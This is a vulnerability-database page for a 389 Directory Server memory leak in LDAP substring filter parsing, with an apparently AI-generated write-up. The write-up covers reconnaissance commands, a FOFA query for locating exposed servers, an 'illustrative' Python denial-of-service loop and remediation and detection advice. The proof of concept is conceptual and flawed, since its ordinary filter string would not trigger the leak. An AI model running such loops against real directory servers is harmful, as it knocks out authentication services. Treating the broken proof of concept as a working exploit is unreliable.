CVE Professor
/
All CVEs
CVE-2026-119584

CVE-2026-119584 — Red Hat Directory Server 11.5 E4S For RHEL 8 (*) — CWE-401

HIGH CVSS 7.5 CVE.org

A memory leak was found in 389 Directory Server (389-ds-base). When processing an LDAP SearchRequest whose SubstringFilter contains a duplicate initial component, a duplicate final component, or a substring component with an unrecognized tag, the server's filter parser fails to release the associated memory before rejecting the request. A remote attacker who can reach the LDAP service, without needing to authenticate, can repeatedly send such malformed requests to exhaust server memory, resulting in a denial of service.

A memory leak was found in 389 Directory Server (389-ds-base). When processing an LDAP SearchRequest whose SubstringFilter contains a duplicate initial component, a duplicate final component, or a substring component with an unrecognized tag, the server's filter parser fails to release the associated memory before rejecting the request. A remote attacker who can reach the LDAP service, without needing to authenticate, can repeatedly send such malformed requests to exhaust server memory, resulting in a denial of service.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Memory Leak (CWE-401) in the LDAP filter parsing logic of 389 Directory Server (389-ds-base).

Technical Flaw:
The core issue lies in the error handling path of the LDAP SubstringFilter parser. When the server receives an LDAP SearchRequest containing a SubstringFilter, it parses the components (initial, any, final). The vulnerability occurs when the parser encounters specific malformed conditions:
1. A duplicate initial component.
2. A duplicate final component.
3. A substring component with an unrecognized tag.

In these specific error scenarios, the code path that rejects the request fails to call the memory deallocation function (e.g., free(), slapi_ch_free(), or equivalent) for the allocated memory buffers associated with the filter components. Consequently, the memory remains allocated but unreachable (leaked). Since the attack vector is Network (AV:N) and requires No Privileges (PR:N), an unauthenticated remote attacker can trigger this leak repeatedly.

CVSS Context:

  • AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H: The impact is strictly Availability (A:H). There is no Confidentiality or Integrity impact because the bug is a resource exhaustion issue, not an information disclosure or code execution flaw. The "Scope: Unchanged" indicates the vulnerable component and the impacted component are the same (the 389-ds process).
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Service Identification: The attacker scans for open LDAP ports (typically 389 for LDAP, 636 for LDAPS).
  • Fingerprinting: Using tools like nmap with the ldap script or ldapsearch with an anonymous bind, the attacker identifies the server as 389-ds-base and determines the version.
  • Example:* nmap -sV -p 389 --script ldap-rootdse <target_ip> * The vendorName and productVersion in the Root DSE response will confirm the software and version.

    2. Exploitation

    The attacker crafts a malformed LDAP SearchRequest containing a SubstringFilter that triggers the memory leak. The request is sent repeatedly to exhaust server memory.

    Illustrative PoC (Python using ldap3 library):
    Note: The exact byte-level structure of the "unrecognized tag" or "duplicate component" depends on the specific version's parser implementation. The following is a conceptual representation of the attack vector.

    import ldap3
    import time
    
    # Target configuration
    server = ldap3.Server('target_ip', port=389, get_info=ALL)
    
    # Anonymous bind (PR:N)
    conn = ldap3.Connection(server, user='', password='', auto_bind=True)
    
    # Malformed SubstringFilter structure
    # The filter is designed to trigger the error path in the parser
    # Example: A SubstringFilter with a duplicate 'initial' part or invalid tag
    # In BER/DER encoding, this would be a specific sequence of tags and lengths.
    # For illustration, we assume a crafted filter string that the parser rejects
    # but fails to free memory for.
    
    malicious_filter = '(cn=*malformed_substring_component*)' 
    # In a real exploit, this would be a raw BER-encoded packet with specific 
    # malformed tags/lengths that trigger the CWE-401 path.
    
    def exploit_loop():
        print("Starting memory exhaustion attack...")
        while True:
            try:
                # Send the search request
                # The server will parse the filter, hit the error, leak memory, and reject the request
                conn.search(search_base='dc=example,dc=com',
                            search_filter=malicious_filter,
                            search_scope=ldap3.SUBTREE,
                            attributes=['*'])
            except ldap3.core.exceptions.LDAPException as e:
                # The request is rejected, but memory is leaked
                pass
            except Exception as e:
                # Connection might drop if server is under heavy load
                time.sleep(1)
                # Re-establish connection
                conn = ldap3.Connection(server, user='', password='', auto_bind=True)
            time.sleep(0.01) # High frequency to exhaust memory quickly
    
    if __name__ == '__main__':
        exploit_loop()

    Alternative: Raw BER Packet (Conceptual)
    An attacker could use a tool like scapy or a custom C program to send raw LDAP packets. The key is to construct a SubstringFilter (Tag 0x21) with:

  • Two initial components (Tag 0x80) instead of one.

  • Or an any component with an invalid tag.

  • The server's parser will detect the error, return an LDAP_PROTOCOL_ERROR or LDAP_INVALID_SYNTAX, but fail to free() the allocated memory for the filter components.

    3. Post-exploitation

  • Denial of Service: As memory is exhausted, the 389-ds process will either:
  • 1. Be killed by the OS OOM (Out-of-Memory) killer. 2. Fail to allocate new memory for legitimate requests, causing timeouts and service unavailability. 3. Crash due to memory corruption if the leak leads to heap fragmentation or overflow in adjacent structures (less likely given CWE-401, but possible in complex parsers).
  • Impact: The LDAP service becomes unavailable. This can disrupt:
  • * User authentication (SSO, login). * Application access control. * Directory synchronization services.

    🌍 Real World Impact

  • Confidentiality (C:N): No data is exposed. The vulnerability does not allow reading directory entries.
  • Integrity (I:N): No data is modified. The vulnerability does not allow writing to the directory.
  • Availability (A:H): High Impact. The service is completely unavailable. In enterprise environments, 389-ds is often a critical infrastructure component for authentication (LDAP/AD integration). A DoS attack can lock out all users and applications relying on the directory service.
  • Practical Consequences:

  • Business Disruption: Users cannot log in to systems that rely on LDAP authentication.

  • Security Incident: The DoS can be used as a smokescreen for other attacks or to disrupt incident response.

  • Recovery Time: Restarting the service is required to recover, which may take time if the server is under continuous attack.
  • 🛡️ Remediation & Mitigation

    1. Patching

  • Upgrade: Upgrade to the latest version of 389-ds-base that includes the fix for this memory leak. Check the vendor's security advisory for the specific fixed version.
  • Action: Apply the patch as soon as possible. Since the attack is unauthenticated and easy to execute, this is a high-priority patch.
  • 2. Workarounds (If Patching is Delayed)

  • Network Access Control: Restrict access to the LDAP port (389/636) to only trusted IP addresses. Use firewalls (iptables, nftables, cloud security groups) to block untrusted sources.
  • Example:* iptables -A INPUT -p tcp --dport 389 -s 192.168.1.0/24 -j ACCEPT Example:* iptables -A INPUT -p tcp --dport 389 -j DROP
  • Rate Limiting: Implement rate limiting on the LDAP service to prevent high-frequency requests.
  • Example:* Use nftables to limit connections per second from a single IP.
  • Disable Anonymous Binds: If the server allows anonymous binds, disable them. This may not fully mitigate the issue if the parser leak occurs before authentication, but it reduces the attack surface.
  • Configuration:* In dse.ldif, set nsslapd-anonymous-access: none.

    3. Detection

  • Log Monitoring: Monitor 389-ds logs (/var/log/dirsrv/slapd-<instance>/errors and access) for repeated LDAP_PROTOCOL_ERROR or LDAP_INVALID_SYNTAX errors from the same IP address.
  • Example Log Pattern:*
    [date] [main:12345] ldap_search - error: Invalid syntax in filter
            [date] [main:12345] ldap_search - error: Invalid syntax in filter
            [date] [main:12345] ldap_search - error: Invalid syntax in filter
  • Memory Monitoring: Monitor the memory usage of the ns-slapd process. A sudden, sustained increase in memory usage without a corresponding increase in legitimate traffic is a strong indicator of exploitation.
  • Example:* top -p $(pgrep ns-slapd) or use prometheus/grafana to monitor process_resident_memory_bytes.
  • Network Traffic Analysis: Use a network tap or proxy to detect high volumes of malformed LDAP SearchRequest packets.
  • ⚠️ Urgency

  • CVSS Score: 7.5 (HIGH)
  • CISA KEV: No (Not currently listed in the Known Exploited Vulnerabilities catalog, but this does not mean it is not being exploited in the wild).
  • Exploit Complexity: Low (AC:L). The attack requires no authentication and can be automated easily.
  • Priority: HIGH. Given the ease of exploitation and the critical nature of LDAP services in enterprise environments, this vulnerability should be patched immediately. If patching is not possible, implement strict network access controls and rate limiting as a temporary mitigation.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Red Hat Red Hat Directory Server 11.5 E4S for RHEL 8"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-401
Affected Products (10)
Red Hat:Red Hat Directory Server 11.5 E4S for RHEL 8 (*) Red Hat:Red Hat Directory Server 11.7 E4S for RHEL 8 (*) Red Hat:Red Hat Directory Server 11.9 for RHEL 8 (*) Red Hat:Red Hat Directory Server 12.2 E4S for RHEL 9 (*) Red Hat:Red Hat Directory Server 12.4 E4S for RHEL 9 (*) Red Hat:Red Hat Enterprise Linux 10 (*) Red Hat:Red Hat Enterprise Linux 10.0 Extended Update Support (*) Red Hat:Red Hat Enterprise Linux 10.2 Extended Update Support (*) Red Hat:Red Hat Enterprise Linux 8 (*) Red Hat:Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support (*)
Related CVEs
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
7.5
CVE-2026-138702
Telerik UI for Blazor versions 1.0.0 through 16.0.0 contain a memory leak in aggregate data operations, includ
0.0
CVE-2026-115491
TLS 1.3 session ticket rejection resource leak
8.7
CVE-2026-142095
Swoole before 6.1.14 and 6.2.x before 6.2.7 contains a memory leak in the HTTP/2 header callback that copies e